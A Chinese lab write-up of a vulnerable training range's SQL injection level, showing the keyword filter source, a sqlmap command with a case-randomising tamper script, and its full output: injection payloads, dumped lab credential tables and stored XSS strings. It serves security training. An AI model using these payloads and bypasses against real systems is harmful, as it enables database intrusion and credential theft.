iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入

2023-11-06

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客
iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

 

目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

2.完整交互

总结


前言

打开靶场,url为 http://192.168.71.151/sqli/08.php?id=1 如下所示

一、源码分析

如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且对参数id做了select关键字过滤。

 select过滤的相关源码如下所示

if (preg_match('/select/', $_GET["id"])) {
		die("ERROR");
	}

也就是说源码对完整的select语句进行了过滤,那么可以通过双写法seselectlect,或者大小写等多做方法进行绕过,应本关卡的名称为大小写绕过,使用大小写方法进行绕过

二、sqlmap注入

1.注入命令

使用sqlmap的绕waf脚本 randomcase.py,将随即大小写来绕过源码对select关键字的过滤

sqlmap -u http://192.168.71.151/sqli/08.php?id=1  --current-db --dump --batch  --tamper randomcase.py

举例,randomcase.py脚本的作用是随机大小写 比如说Input: INSERT那么Output: InsERt

如上所示使用大小写绕过方法的渗透脚本已经成功

2.完整交互

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/08.php?id=1  --current-db --dump --batch  --tamper randomcase.py
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[)]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . [,]     | .'| . |                                                                                                                                                                                                                  
|___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:17:08 /2022-11-25/

[00:17:08] [INFO] loading tamper module 'randomcase'
[00:17:08] [INFO] resuming back-end DBMS 'mysql' 
[00:17:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (5893=5893) THEN 1 ELSE (SELECT 1790 UNION SELECT 4808) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 6156 FROM(SELECT COUNT(*),CONCAT(0x7178766a71,(SELECT (ELT(6156=6156,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 1955 FROM (SELECT(SLEEP(5)))eSpl)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x7178766a71,0x44567654776c4e75545846714e696472486564726173526948545156666b44555761527443414868,0x7171787871),NULL,NULL-- -
---
[00:17:08] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[00:17:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: PHP 5.2.17, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[00:17:08] [INFO] fetching current database
[00:17:08] [WARNING] reflective value(s) found and filtering out
current database: 'iwebsec'
[00:17:08] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[00:17:08] [INFO] fetching current database
[00:17:08] [INFO] fetching tables for database: 'iwebsec'
[00:17:08] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[00:17:08] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[00:17:09] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[00:17:09] [INFO] fetching columns for table 'user' in database 'iwebsec'
[00:17:09] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[00:17:09] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[00:17:09] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[00:17:09] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[00:17:09] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[00:17:09] [INFO] fetching columns for table 'users' in database 'iwebsec'
[00:17:09] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[00:17:09] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[00:17:09] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[00:17:09] [WARNING] your sqlmap version is outdated

[*] ending @ 00:17:09 /2022-11-25/


总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第8关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的第08关卡过滤了select关键字

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入 的相关文章

随机推荐

  • BUUCTF-随便注、Exec、EasySQL、Secret File

    目录 强网杯 2019 随便注 ACTF2020 新生赛 Exec SUCTF 2019 EasySQL 极客大挑战 2019 Secret File 强网杯 2019 随便注 打开场景 里面有输入框 上面自带一个1 点击提交 有回显 输入
  • 毕业设计 基于单片机的双足机器人

    0 前言 这两年开始毕业设计和毕业答辩的要求和难度不断提升 传统的毕设题目缺少创新和亮点 往往达不到毕业答辩的要求 这两年不断有学弟学妹告诉学长自己做的项目系统达不到老师的要求 为了大家能够顺利以及最少的精力通过毕设 学长分享优质毕业设计项
  • starRocks配置两个数据源的多个IP进行访问数据库查询

    1 yml文件配置 注意mysql为master datasource mysql master type com alibaba druid pool DruidDataSource driver class name com mysql
  • 手把手教你如何使用Fiddler及使用图文详解

    01 什么是 Fiddler Fiddler 是一个 HTTP 协议调试代理工具 它能够记录并检查所有你的电脑和互联网之间的 HTTP 通讯 Fiddler 提供了电脑端 移动端的抓包 包括 http 协议和 https 协议都可以捕获到报
  • linux中如何修改文件夹的用户权限

    linux中如何修改文件夹权限 linux中 可以使用chown命令来修改文件夹的用户权限 环境 windows 7 virtualbox fedora 15 kde 下面举例给出 1 以普通用户admin登录linux 利用su 切换到r
  • MySQL数据库基本操作-正则表达式

    文章目录 一 基本介绍 二 的用法 三 的用法 四 的用法 五 和 的用法 六 和 的用法 七 的用法 八 的用法 九 的用法 一 基本介绍 正则表达式 regularexpression 描述了一种字符串匹配的规则 正则表达式本身就是一个
  • SpringMVC-整合SSM框架(狂神学习笔记)2021-10-03

    SpringMVC 狂神 整合SSM框架 1 整合SSM 1 环境要求 环境 IDEA Eclipse MySQL 5 7 Tomcat 9 Maven 3 6 要求 需要熟练掌握MySQL数据库 Spring JavaWeb及MyBati
  • day01(Flume)

    简介 一 概述 Flume是Apache提供的一套用于进行日志收集 汇聚和传输的框架 2 Flume的版本 Flume ng 和Flume og 不兼容 a Flume1 x Flume ng b Flume0 X Flume og htt
  • [leetcode 双周赛 6] 1152 用户网站访问行为分析

    目录 1152 Analyze User Website Visit Pattern 用户网站访问行为分析 描述 思路 代码实现 1152 Analyze User Website Visit Pattern 用户网站访问行为分析 描述 为
  • 依赖注入_生命周期

    目录 一 生命周期 二 三种不同生命周期对象比较 1 AddTransient 瞬时生命周期 2 AddSingleton 单例 3 AddScoped 总结 三者的区别 一 生命周期 1 给类构造函数中打印 看看不同生命周期的对象创建使用
  • 前端高频面试题

    我们在找工作时 需要结合自己的现状 针对意向企业做好充分准备 什么是前端开发 前端开发的作用是什么 前端开发是指利用HTML CSS和JavaScript等技术 开发用户在浏览器中直接与之交互的网页或应用的过程 前端开发的作用是将后端提供的
  • 动态规划,计算股票最大收益

    问题描述 给定一个整数数组prices 它的第i个元素prices i 是一支给定的股票在第i天的价格 设计一个算法来计算你所能获取的最大利润 算法思路 动态规划 C 源码 class Solution public 1 最多交易一次 in
  • 详细!PyCharm连接MySQL数据库教程+心得

    一家懂得用细节留住客户的3年潮牌老店我必须支持 luyao1931 第一步 安装MySQL 下载地址 https dev mysql com downloads mysql 下载完后 我们将 zip 包解压到相应的目录 这里我将解压后的文件
  • 二叉树问题

    什么是二叉树 平衡二叉树 红黑二叉树 有哪些区别和应用 二叉树 Binary Tree 是结点的有限集合 这个集合或者为空 或者是由一个根结点和两颗互不相交的分别称为左子树和右子树的二叉树组成 二叉树中的每个结点至多有两棵子树 且子树有左右
  • 堆(Heap)——(一)优先队列

    堆可以利用数组 链表或者搜索二叉树实现 但是最好方法是利用完全二叉树 1 完全二叉树 完全二叉树从根结点到倒数第二层满足完美二叉树 最后一层可以不完全填充 其叶子结点都靠左对齐 如下图 重新构建一种树 专注于插入和删除最大或最小 即 根节点
  • Zabbix的问题日志清单查看

    Zabbix的问题日志清单查看 一 检查Zabbix状态 二 检查仪表表盘告警情况 三 检查所有邮件告警日志 四 触发器日志查看 五 当前告警查询 六 问题清单查询 一 检查Zabbix状态 二 检查仪表表盘告警情况 三 检查所有邮件告警日
  • docker的服务编排

    docker 服务编排 docker compose命令 docker compose 网络管理 想学习更全面的docker知识可以点击右侧 Docker的概念及基本指令学习 全 docker 服务编排 docker 服务编排也叫docke
  • Either all Options must start with + or -, or no

    Directory Options If you had Directory options note that they all have to be prepended with a or or none of them at all
  • Linux中influx数据库进程杀不掉,父进程为1

    influx数据库一直杀不掉 父进程为1是个僵尸进程 后来我才发现 influx是运行运行状态 我只需要使用命令 停掉influx即可停止改进程
  • iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL